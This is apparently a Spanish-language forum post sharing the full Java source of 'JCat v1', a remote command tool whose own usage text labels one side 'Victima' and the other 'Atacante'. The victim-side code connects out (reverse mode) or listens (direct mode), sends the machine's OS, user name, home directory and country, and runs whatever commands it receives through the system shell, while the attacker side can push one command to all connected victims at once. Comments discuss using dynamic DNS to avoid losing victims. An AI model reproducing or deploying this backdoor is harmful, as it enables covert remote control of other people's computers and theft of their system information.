Aqui les dejo un tutorial con el manejo del mismo
http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html
es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.
Código:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Random;
import java.net.InetAddress;
/*
* -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
* cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
* datos Salida. El Servidor la recive y la procesa
*
* Ventaja: Ninguna.
*
* Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
* hay que abrir un puerto en el router de la victima.
* -----------------------------------------------------------------------------
*
* -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
* Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
* datos por su Salida. El Cliente la recive y la procesa
*
* Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
* actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
* puerto se habre en nuestro PC
*
* Desventaja: el puerto se habre en nuestro PC.
*
*/
class JCat {
public static int Port;
public static String IP;
public static void main(String[] args) {
if (true) {
if (args.length > 0) {
//if (argsS1.equals("1") && argsS2.equals("1")) {
if (args[0].equals("1") && args[1].equals("1")) {
ConexionDirectaServidor a = new ConexionDirectaServidor();
a.start();
}
//if (argsS1.equals("1") && argsS2.equals("2")) {
if (args[0].equals("1") && args[1].equals("2")) {
ConexionDirectaCliente a = new ConexionDirectaCliente();
a.start();
}
//if (argsS1.equals("2") && argsS2.equals("1")) {
if (args[0].equals("2") && args[1].equals("1")) {
ConexionInversaServidor a = new ConexionInversaServidor();
a.setMode(2);
a.start();
}
//if (argsS1.equals("2") && argsS2.equals("2")) {
if (args[0].equals("2") && args[1].equals("2")) {
ConexionInversaCliente a = new ConexionInversaCliente();
a.start();
}
if(args[2] != null){
Port = (Integer.parseInt(args[2]));
}
try{
if(args[3] != null){
IP = args[3];
}else{
IP = "";
}
}catch(ArrayIndexOutOfBoundsException e){}
}else {
System.out.println(" ");
System.out.println(" Uo ");
System.out.println(" Mb$QU ");
System.out.println(" MMMMMMMMMMMM$ ");
System.out.println(" MMMMMMMMMMMM@$EIMMMMMMMMMM# ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@ ");
System.out.println(" MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME :MM@ ");
System.out.println(" 0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@ ");
System.out.println(" MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM .MMMME M#Q@ ");
System.out.println(" #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$ 8MWQE$M ");
System.out.println(" AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c: 0MWWEE9W ");
System.out.println(" :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,.. ");
System.out.println(" CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,. ");
System.out.println(" .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i.... ");
System.out.println(" MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,.. ");
System.out.println(" 0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:.... ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,. ");
System.out.println(" XMMMMMMMMMMMMMMMMMMMMMM8Y, ,MMMM#.,;i.. ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMM#c. ... .MMMM8 ,;i.. ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMM$7..,. QMM@b..ii.. ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,: :b$$QY;i,.. ");
System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,.. ");
System.out.println(" MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,.. ");
System.out.println(" MMMMMMMMMMMM,.,, ,vb#MM@EA@MM9Y;i,.. ");
System.out.println(" MMMMMMMMMMM.,i,. .6W$1#MMM;i,.. ");
System.out.println(" MMMMMMMMMM:,i:. 1#MMM;i,.. ");
System.out.println(" $MMMMMMMMC.ii.. ");
System.out.println(" YMMMMMMM@,:;,. ");
System.out.println(" MMMMMMMU.;i,. JCat v1 ");
System.out.println(" EMMMMMM7.;i.. .. Developed by MichB ");
System.out.println(" MMMMMMC.c:, .I$MM@b1:..:.. 18/06/12 ");
System.out.println(" XMMMMMz.;;. 7MMWSSA$M@2,.i:,. ");
System.out.println(" QMMMM@.:;,.MM. ,b$9,.i:, ");
System.out.println(" @MMMM6 :i.0@. :8C Ubo..i,. ");
System.out.println(" @MMM@z.:.,Z#bE$8,. vSU,.i:. ");
System.out.println(" EMMM@bi,..,:.. X1ti.;:. ");
System.out.println(" ;@MM@#9Xi,.....inzn7,;i,. ");
System.out.println(" YW@@##BbEbbZ8A6S7,i:,. ");
System.out.println(" .X600QEb6ASCi,... ");
System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
//cliente envia comando y recive respuesta del servidor
System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000 <- Victima");
System.out.println("Cliente Conexion Directa -> java JCat 1 2 5000 192.168.12.2 <- Atacante");
System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
//servidor envia comando y recive respuesta del cliente
System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000 <- Atacante");
System.out.println("Cliente Conexion Inversa -> java JCat 2 2 5000 192.168.12.2 <- Victima\n");
System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
System.out.println("\tNo hay limite de clientes para los 2 Modos\n");
System.exit(-1);
//}
}
}
}
}
class ConexionDirectaServidor extends Thread{
private ServerSocket escucha3;
private Socket conexion3;
//private static Thread hebraServidor3;
//private static String mensaje3;
private int veces=0;
static ArrayList<Integer> HASHs = new ArrayList<Integer>();
ConexionDirectaServidor(){}
ConexionDirectaServidor(int veces){
this.veces = veces;
}
public void run () {
try {
int puerto = JCat.Port;
//int puerto = 5000;
escucha3 = new ServerSocket(puerto);
BufferedReader br = null;
String sTexto = "";
System.out.println("\n*---------------------------------*");
System.out.println("* Conexión D. SERVIDOR *");
System.out.println("*---------------------------------*\n");
System.out.println("Escuchando en el puerto: " + puerto +"\n");
System.out.println("Servidor a la escucha...\n");
System.out.println("\nEscriba en el Cliente...");
if(puerto == 0){
System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
try {
this.sleep(3000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
System.out.println("Intento: "+veces+"\n");
ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
a.start();
}
while (true) {
conexion3 = escucha3.accept();
//DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
Runnable nuevoCliente = new HiloDeCliente(conexion3);
Thread hilo = new Thread(nuevoCliente);
hilo.start();
try {
hilo.sleep(2000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
}
} catch (IOException ex) {
System.out.println("Mensaje de Error! -> "+ex);
if(ex.equals("java.net.BindException: Address already in use")){
System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
}
}
}
}
// Implementa Runnable para poder ser lanzada en un hilo aparte
class HiloDeCliente implements Runnable
{
// En el constructor recibe y guarda los parámetros que sean necesarios.
// En este caso una lista con toda la conversación y el socket que debe
// atender.
private String osName = System.getProperty ( "os.name" );
private String Arch = System.getProperty ( "os.arch" );
private String Version = System.getProperty ( "os.version" );
private String SP = System.getProperty ( "sun.os.patch.level" );
private String Country = System.getProperty ( "user.country" );
private String dirUserHome = System.getProperty ( "user.home" );
private String Lang = System.getProperty ( "user.language" );
private String userName = System.getProperty ( "user.name" );
private String VersionJV = System.getProperty ( "java.vm.version" );
private String Direccion;
private String Direccion2;
private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
private Socket conexion3;
private int HASH;
public HiloDeCliente(Socket socket)
{
try{
InetAddress address = InetAddress.getLocalHost();
String Direccion = address.getHostAddress();
String Direccion2 = address.getCanonicalHostName();
} catch (java.net.UnknownHostException e) {
}
conexion3 = socket;
}
public void run ()
{
try {
DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
System.out.println("\nCliente Conectado...");
HASH = entrada.readInt();
System.out.println("Identificador del Cliente: "+HASH);
if(!ConexionDirectaServidor.HASHs.contains(HASH)){
ConexionDirectaServidor.HASHs.add(HASH);
for(int i=0;i<arrayDatos.length;i++)
if(arrayDatos[i]==null)
arrayDatos[i]="null";
salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
+ "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
+ arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
}
String comando = entrada.readUTF();
System.out.println("Comando del Cliente: " + comando);
new Ejecutor().executeCommand(comando, false, conexion3);
// Código para atender al cliente.
} catch (IOException ex) {
//System.out.println(ex);
}
//System.out.println("Cierre de conexion del cliente");
}
}
class ConexionDirectaCliente extends Thread {
private Socket conexion4;
private static Thread hebraServidor4;
private static String mensaje3;
private Random rnd = new Random();
private int HASH;
private boolean continuar=true;
private int contador;
ConexionDirectaCliente(){
HASH = (rnd.nextInt() * 10000);
contador=0;
}
public void run() {
//System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
//System.out.println("Solo Envio al Servidor");
System.out.println("\n*---------------------------------*");
System.out.println("* Conexión D. CLIENTE *");
System.out.println("*---------------------------------*\n");
if(continuar){
while (true) {
String ip = JCat.IP;
//String ip = "192.168.13.240";
int puerto = JCat.Port;
//int puerto = 5000;
try {
conexion4 = new Socket(ip, puerto);
BufferedReader br = null;
String sTexto = "";
DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
//enviamos
salida.writeInt(HASH);
//salida.writeUTF(System.getProperty("os.name"));
//salida.writeUTF(System.getProperty("user.name"));
//recivimos
//System.out.println("lo recivo yo el Cliente " + entrada.readUTF());
br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("Conectado al Servidor...\n");
System.out.println("-----------------------------------");
System.out.println("| Mi Identificador: "+HASH);
System.out.println("-----------------------------------");
if(contador==0){
System.out.println("| [+] Información del Servidor [+] |");
System.out.println("-----------------------------------");
System.out.println(entrada.readUTF());
System.out.println("-----------------------------------");
contador++;
}
try {
System.out.printf("\tComando: %s",sTexto = br.readLine());
//enviamos
salida.writeUTF(sTexto);
} catch (IOException io) {
io.printStackTrace();
}
//COMANDOS
System.out.println(entrada.readUTF());
} catch (IOException ex) {
//break;
if(ex.getMessage().equals("Can't assign requested address")){
System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
try {
this.sleep(3000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
ConexionDirectaCliente a = new ConexionDirectaCliente();
a.start();
continuar = false;
break;
}
}
}
}
}
}
class ConexionInversaServidor extends Thread {
private ServerSocket escucha3;
static Socket conexion3;
//private static Thread hebraServidor3;
//private static String mensaje3;
//private String MSJ=null;
//static primera a;
//static String textoTeclado;
static ArrayList<Integer> HASHs = new ArrayList<Integer>();
static ArrayList<Socket> p = new ArrayList<Socket>();
static int Mode;
private boolean continuar=true;
private int HASH;
boolean debugging=true;
int contador=0;
public void setMode(int predefinido){
try{
try{
if(predefinido==2){
BufferedReader br = null;
String sTexto="";
System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
br = new BufferedReader(new InputStreamReader(System.in));
System.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
Mode=Integer.parseInt(sTexto);
}else{
Mode=predefinido;
}
} catch (NumberFormatException exe) {
System.out.println("Mensaje de Error! -> "+exe.getMessage());
}
} catch (IOException ex) {
System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
}
}
public void run() {
try {
int puerto = JCat.Port;
escucha3 = new ServerSocket(puerto);
System.out.println("\n*---------------------------------*");
System.out.println("* Conexión I. SERVIDOR *");
System.out.println("*---------------------------------*\n");
System.out.println("Escuchando en el puerto: " + puerto +"\n");
if(puerto == 0){
continuar = false;
System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
try {
this.sleep(3000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
ConexionInversaServidor a = new ConexionInversaServidor();
a.setMode(Mode);
a.start();
}
if(continuar){
System.out.println("Servidor a la escucha...\n");
Teclado Teclad = new Teclado();
Teclad.start();
while (true) {
conexion3 = escucha3.accept();
DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
//System.out.println("INICIO");
HASH =entrada.readInt();
System.out.println("-----------------------------------");
System.out.println("| ID Cliente: "+HASH);
System.out.println("-----------------------------------");
if(!HASHs.contains(HASH)){
HASHs.add(HASH);
System.out.println("| [+] Información del Cliente [+] |");
System.out.println("-----------------------------------");
System.out.println(entrada.readUTF());
System.out.println("-----------------------------------");
}
if(contador==0){
contador++;
}
//System.out.println("Tamaño -> "+p.size() );
primera Conexion = new primera(conexion3);
//Thread hilo1 = new Thread(Conexion);
Conexion.start();
p.add(conexion3);
if(debugging)
System.out.println("añadidos al array "+p.size());
//System.out.println("FIN");
}
}
} catch (IOException ex) {
ex.printStackTrace();
}
}
static public void envioTextoTeclado0(String sTexto) {
//System.out.println("Comprobacion 2 Tamaño -> "+p.size() );
if(Mode == 0){
try{
for(int i=0;i<p.size();i++){
Socket con = p.get(i);
//System.out.println("Cliente: "+i);
DataOutputStream salida = new DataOutputStream(con.getOutputStream());
DataInputStream entrada = new DataInputStream(con.getInputStream());
salida.writeUTF(sTexto);
System.out.println(entrada.readUTF());
synchronized (p.get(i)) {
//System.out.println("Soy 2 desperte a uno");
p.get(i).notify();
//System.out.println("Soy 2 y continua uno");
}
p.remove(p.get(i));
}
//System.out.println("hashcode -> "+p.get(0).hashCode() );
//System.out.println("hashcode -> "+p.get(1).hashCode() );
} catch (IOException ex) {
ex.printStackTrace();
}
}
if(Mode == 1){
try{
for(int i=0;i<p.size();i++){
Socket con = p.get(i);
//System.out.println("Cliente: "+i);
DataOutputStream salida = new DataOutputStream(con.getOutputStream());
DataInputStream entrada = new DataInputStream(con.getInputStream());
salida.writeUTF(sTexto);
System.out.println(entrada.readUTF());
}
for(int i=0;i<p.size();i++){
synchronized (p.get(i)) {
//System.out.println("Soy 2 desperte a uno");
p.get(i).notify();
//System.out.println("Soy 2 y continua uno");
}
}
//p.remove(p.get(0));
//p.remove(p.get(1));
//System.out.println("hashcode -> "+p.get(0).hashCode() );
//System.out.println("hashcode -> "+p.get(1).hashCode() );
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
/**
*/
}
class primera extends Thread {
private Socket conexion3;
boolean debugging=true;
primera(Socket socket){
conexion3 = socket;
if(debugging)
System.out.println("Me llamo "+getName());
}
public void run() {
synchronized (conexion3) {
if(debugging)
System.out.println("uno me voy a dormir");
try {
conexion3.wait();
} catch (InterruptedException ex) {
System.out.println(ex);
}
if(debugging)
System.out.println("uno me desperte");
if(ConexionInversaServidor.Mode == 1){
if(debugging)
System.out.println(ConexionInversaServidor.p.get(0).hashCode());
ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));
if(debugging)
System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");
}
}
}
}
class Teclado extends Thread
{
private BufferedReader br = null;
private String sTexto = "";
private int contador=0;
public void run(){
boolean t=true;
while(t){
try{
System.out.println("nombre:"+getName());
try {
this.sleep(300);
} catch (InterruptedException exa) {
System.out.println(exa);
}
System.out.println("Teclee Comandos:");
br = new BufferedReader(new InputStreamReader(System.in));
System.out.printf("\tComando: %s \n",sTexto = br.readLine());
if(sTexto=="fin"){
t=false;
System.exit(-1);
}
ConexionInversaServidor.envioTextoTeclado0(sTexto);
} catch (IOException ex) {
System.out.println(ex);
}
}
}
}
class ConexionInversaCliente extends Thread {
private Socket conexion4;
private static Thread hebraServidor4;
private Random rnd = new Random();
private int HASH;
private int contador;
private String osName = System.getProperty ( "os.name" );
private String Arch = System.getProperty ( "os.arch" );
private String Version = System.getProperty ( "os.version" );
private String SP = System.getProperty ( "sun.os.patch.level" );
private String Country = System.getProperty ( "user.country" );
private String dirUserHome = System.getProperty ( "user.home" );
private String Lang = System.getProperty ( "user.language" );
private String userName = System.getProperty ( "user.name" );
private String VersionJV = System.getProperty ( "java.vm.version" );
private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
ConexionInversaCliente(){
HASH = (rnd.nextInt() * 10000);
contador=0;
}
public void run() {
String ip = JCat.IP;
int puerto = JCat.Port;
try {
System.out.println("\n*---------------------------------*");
System.out.println("* Conexión I. CLIENTE *");
System.out.println("*---------------------------------*");
while (true) {
conexion4 = new Socket(ip, puerto);
try {
DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
salida.writeInt(HASH);
if(contador==0){
contador++;
for(int i=0;i<arrayDatos.length;i++)
if(arrayDatos[i]==null)
arrayDatos[i]="null";
salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
+ "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
+ arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
}
System.out.println("\nConexion realizada...");
System.out.println("\nEscriba en el Servidor...");
System.out.println("Mi Identificador: "+HASH);
String comando = entrada.readUTF();
System.out.println("Comando del Cliente: " + comando);
new Ejecutor().executeCommand(comando, false, conexion4);
try {
this.sleep(2000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
} catch (IOException ex) {
System.out.println(ex.getMessage());
}
}
} catch (IOException ex) {
System.out.println("Mensaje de Error! -> "+ex.getMessage());
if(ex.getMessage().equals("Can't assign requested address")){
System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
try {
this.sleep(3000);
} catch (InterruptedException exa) {
System.out.println(exa);
}
ConexionInversaCliente a = new ConexionInversaCliente();
a.start();
}
if(ex.getMessage().equals("Connection refused")){
System.out.println("No encontrado servidor a la escucha\n");
}
}
}
}
class Ejecutor{
private String commandShell;
private Socket conexion3;
public void executeCommand(String command, boolean flagbackground, Socket socket) {
commandShell = null;
conexion3 = socket;
try {
DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
String osName = System.getProperty("os.name");
if (osName.equals("Windows NT")) {
commandShell = "cmd.exe /C " + command;
} else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
commandShell = "start " + command;
} else {
if (flagbackground) {
commandShell = "" + command + " &";
} else {
commandShell = "" + command;
}
}
try {
Process proc = Runtime.getRuntime().exec(commandShell);
BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String str;String strTodo= "";
while ((str = brStdOut.readLine()) != null) {
strTodo+=str+"\n";
}
salida.writeUTF("\tResponse: "+strTodo);
brStdOut.close();
brStdErr.close();
} catch (IOException eproc) {
System.out.println("Comando desconocido ");
salida.writeUTF("\tResponse: Comando desconocido\n");
}
} catch (IOException ex) {
System.out.println(ex.getMessage());
}
}
}
Fuente: code-disaster.blogspot.com